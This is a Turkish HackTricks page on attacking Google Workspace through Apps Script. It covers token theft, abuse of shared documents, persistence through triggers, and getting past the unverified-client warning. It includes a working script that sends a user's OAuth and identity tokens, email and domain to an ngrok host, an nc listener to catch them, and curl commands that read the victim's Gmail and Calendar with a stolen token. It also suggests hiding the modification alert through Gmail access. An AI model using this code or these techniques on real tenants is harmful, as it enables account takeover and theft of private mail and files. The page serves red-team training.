GWS - Uygulama Scriptleri

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Uygulama Scriptleri

Uygulama Scriptleri, bir editör iznine sahip bir kullanıcının, Uygulama Scriptinin bağlı olduğu belgeye eriştiğinde tetiklenecek olan koddur ve OAuth istemini kabul ettikten sonra.
Ayrıca, Uygulama Scriptinin sahibi tarafından belirli bir zaman diliminde çalıştırılacak şekilde ayarlanabilir (Süreklilik).

Uygulama Scripti Oluşturma

Bir Uygulama Scripti oluşturmanın birkaç yolu vardır, en yaygın olanları bir Google Belgesinden (herhangi bir türde) ve bağımsız bir proje olarak oluşturmaktır:

Google Docs, Sheets veya Slides'dan bir konteyner bağlı proje oluşturun
  1. Bir Docs belgesini, bir Sheets elektronik tablosunu veya bir Slides sunumunu açın.
  2. Eklentiler > Google Apps Script’e tıklayın.
  3. Script editöründe, Başlıksız proje’ye tıklayın.
  4. Projenize bir isim verin ve Yeniden Adlandır’a tıklayın.
Bağımsız bir proje oluşturun

Apps Script’ten bağımsız bir proje oluşturmak için:

  1. script.google.com adresine gidin.
  2. Yeni Proje ekleyin.
  3. Script editöründe, Başlıksız proje’ye tıklayın.
  4. Projenize bir isim verin ve Yeniden Adlandır’a tıklayın.
Google Drive'dan bağımsız bir proje oluşturun
  1. Google Drive adresini açın.
  2. Yeni > Daha Fazla > Google Apps Script’e tıklayın.
Google Forms'dan bir konteyner bağlı proje oluşturun
  1. Google Forms’da bir form açın.
  2. Daha Fazla more_vert > Script editörü’ne tıklayın.
  3. Script editöründe, Başlıksız proje’ye tıklayın.
  4. Projenize bir isim verin ve Yeniden Adlandır’a tıklayın.
clasp komut satırı aracı kullanarak bağımsız bir proje oluşturun

clasp, terminalden Apps Script projeleri oluşturmanıza, çekmenize/itmenize ve dağıtmanıza olanak tanıyan bir komut satırı aracıdır.

Daha fazla ayrıntı için clasp kullanarak Komut Satırı Arayüzü kılavuzuna bakın.

Uygulama Scripti Senaryosu

Uygulama Scripti ile Google Sheet Oluşturma

Bir Uygulama Scripti oluşturarak başlayın, bu senaryo için önerim bir Google Sheet oluşturmak ve Eklentiler > Uygulama Scriptleri’ne gitmektir, bu, sayfaya bağlı yeni bir Uygulama Scripti açacaktır.

Token sızıntısı

OAuth tokenına erişim vermek için Hizmetler +’a tıklamanız ve aşağıdaki gibi kapsamlar eklemeniz gerekir:

  • AdminDirectory: Dizinin kullanıcılarına ve gruplarına erişim (kullanıcının yeterli izni varsa)
  • Gmail: Gmail verilerine erişim
  • Drive: Drive verilerine erişim
  • Google Sheets API: Tetikleyici ile çalışması için

Gerekli kapsamları kendiniz değiştirmek için proje ayarlarına gidebilir ve editörde "appsscript.json" manifest dosyasını göster seçeneğini etkinleştirebilirsiniz.

function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()

// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}

// Send data
makePostRequest(data)

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)

// To ask for drive permissions
var files = DriveApp.getFiles()
}

function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"

var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}

try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}

İsteği yakalamak için sadece şunu çalıştırabilirsiniz:

ngrok tcp 4444
nc -lv 4444 #macOS

Uygulama Script’ini çalıştırmak için istenen izinler:

Warning

Dış bir istek yapıldığında OAuth istemi ayrıca dış uç noktalarına erişim izni istemektedir.

Tetikleyici Oluştur

Uygulama okunduktan sonra, bir tetikleyici oluşturmak için ⏰ Tetikleyiciler üzerine tıklayın. Fonksiyon olarak getToken seçin, dağıtımda Head olarak çalışır, olay kaynağında From spreadsheet seçin ve olay türü olarak On open veya On edit (ihtiyacınıza göre) seçin ve kaydedin.

Bir şeyi hata ayıklamak isterseniz, Uygulama Script’lerinin çalıştırmalarını İcraatlar sekmesinde kontrol edebileceğinizi unutmayın.

Paylaşım

Uygulama Script’ini tetiklemek için kurbanın Düzenleyici Erişimi ile bağlanması gerekir.

Tip

Uygulama Script’ini çalıştırmak için kullanılan token, tetikleyicinin yaratıcısının token’ı olacaktır, dosya diğer kullanıcılar tarafından Düzenleyici olarak açılsa bile.

Paylaşılan Belgeleri Kötüye Kullanma

Caution

Eğer biri sizinle Uygulama Script’leri ve bir tetikleyici ile bir belge paylaştıysa ve Uygulama Script’inin Head’ini kullanıyorsa (sabit bir dağıtım değil), Uygulama Script kodunu değiştirebilir (örneğin, çalma token fonksiyonları ekleyerek), erişebilir ve Uygulama Script’i belgeyi sizinle paylaşan kullanıcının izinleriyle çalıştırılacaktır! (sahiplerin OAuth token’ı, tetikleyici oluşturulduğunda verilen erişim kapsamlarına sahip olacaktır).

Bir bildirim, script’in yaratıcısına script’in değiştirildiğini belirten bir bildirim gönderilecektir (uyarıyı önlemek için gmail izinlerini kullanmak ne dersiniz?)

Tip

Eğer bir saldırgan Uygulama Script’inin kapsamlarını değiştirirse, güncellemeler belgeye uygulanmayacaktır ta ki değişikliklerle yeni bir tetikleyici oluşturulana kadar. Bu nedenle, bir saldırgan, oluşturduğu tetikleyicide ayarladığı kapsamdan daha fazla kapsamla sahiplerin yaratıcı token’ını çalamayacaktır.

Paylaşmak Yerine Kopyalama

Bir belgeyi paylaşmak için bir bağlantı oluşturduğunuzda, buna benzer bir bağlantı oluşturulur: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit
Eğer “/edit” sonunu “/copy” ile değiştirirseniz, google erişmek yerine size belgenin bir kopyasını oluşturmak isteyip istemediğinizi soracaktır:

Kullanıcı bunu kopyalayıp erişirse, hem belgenin içeriği hem de Uygulama Script’leri kopyalanacaktır, ancak tetikleyiciler kopyalanmaz, bu nedenle hiçbir şey çalıştırılmayacaktır.

Web Uygulaması Olarak Paylaşım

Ayrıca Uygulama Script’ini bir Web uygulaması olarak paylaşmanın mümkün olduğunu unutmayın (Uygulama Script’inin Düzenleyicisinde, Web uygulaması olarak dağıtın), ancak bu tür bir uyarı görünecektir:

Ardından gerekli izinleri isteyen tipik OAuth istemi gelecektir.

Test Etme

Toplanan bir token’ı e-posta listelemek için test edebilirsiniz:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Kullanıcının takvimini listele:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script olarak Süreklilik

Süreklilik için bir seçenek, bir belge oluşturmak ve getToken fonksiyonu için bir tetikleyici eklemek ve belgeyi saldırganla paylaşmaktır, böylece saldırgan dosyayı her açtığında kurbanın token’ını dışarı aktarır.

Ayrıca, bir App Script oluşturmak ve her X zamanda (örneğin her dakika, saat, gün…) tetiklenmesini sağlamak da mümkündür. Kompromize olmuş kimlik bilgilerine veya bir kurbanın oturumuna sahip bir saldırgan, bir App Script zaman tetikleyicisi ayarlayabilir ve her gün çok yetkili bir OAuth token’ını sızdırabilir:

Sadece bir App Script oluşturun, Tetikleyiciler’e gidin, Tetikleyici Ekle’ye tıklayın ve olay kaynağı olarak Zaman odaklıyı seçin ve size en uygun seçenekleri seçin:

Caution

Bu, bir güvenlik uyarı e-postası ve mobil cihazınıza bu konuda bir bildirim mesajı oluşturacaktır.

Paylaşılan Belge Doğrulanmamış İstemci Atlatma

Ayrıca, eğer biri sizinle düzenleyici erişimi olan bir belge paylaştıysa, belgede App Script’ler oluşturabilirsiniz ve belgenin SAHİBİ (yaratıcı) App Script’in sahibi olacaktır.

Warning

Bu, belgenin yaratıcısının, içinde herhangi bir App Script oluşturan herkesin yaratıcısı olarak görüneceği anlamına gelir.

Bu aynı zamanda, App Script’in belgenin yaratıcısının Workspace ortamı tarafından güvenilir olacağı anlamına gelir.

Caution

Bu aynı zamanda, eğer bir App Script zaten mevcutsa ve insanlar erişim vermişse, belgede Düzenleyici iznine sahip olan herkesin onu değiştirebileceği ve bu erişimi kötüye kullanabileceği anlamına gelir.
Bunu kötüye kullanmak için ayrıca insanların App Script’i tetiklemesi gerekir. Ve harika bir hile, script’i bir web uygulaması olarak yayınlamaktır. Erişim vermiş olan kişiler, web sayfasına eriştiğinde, App Script’i tetikleyeceklerdir (bu, <img> etiketleri kullanarak da çalışır).

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin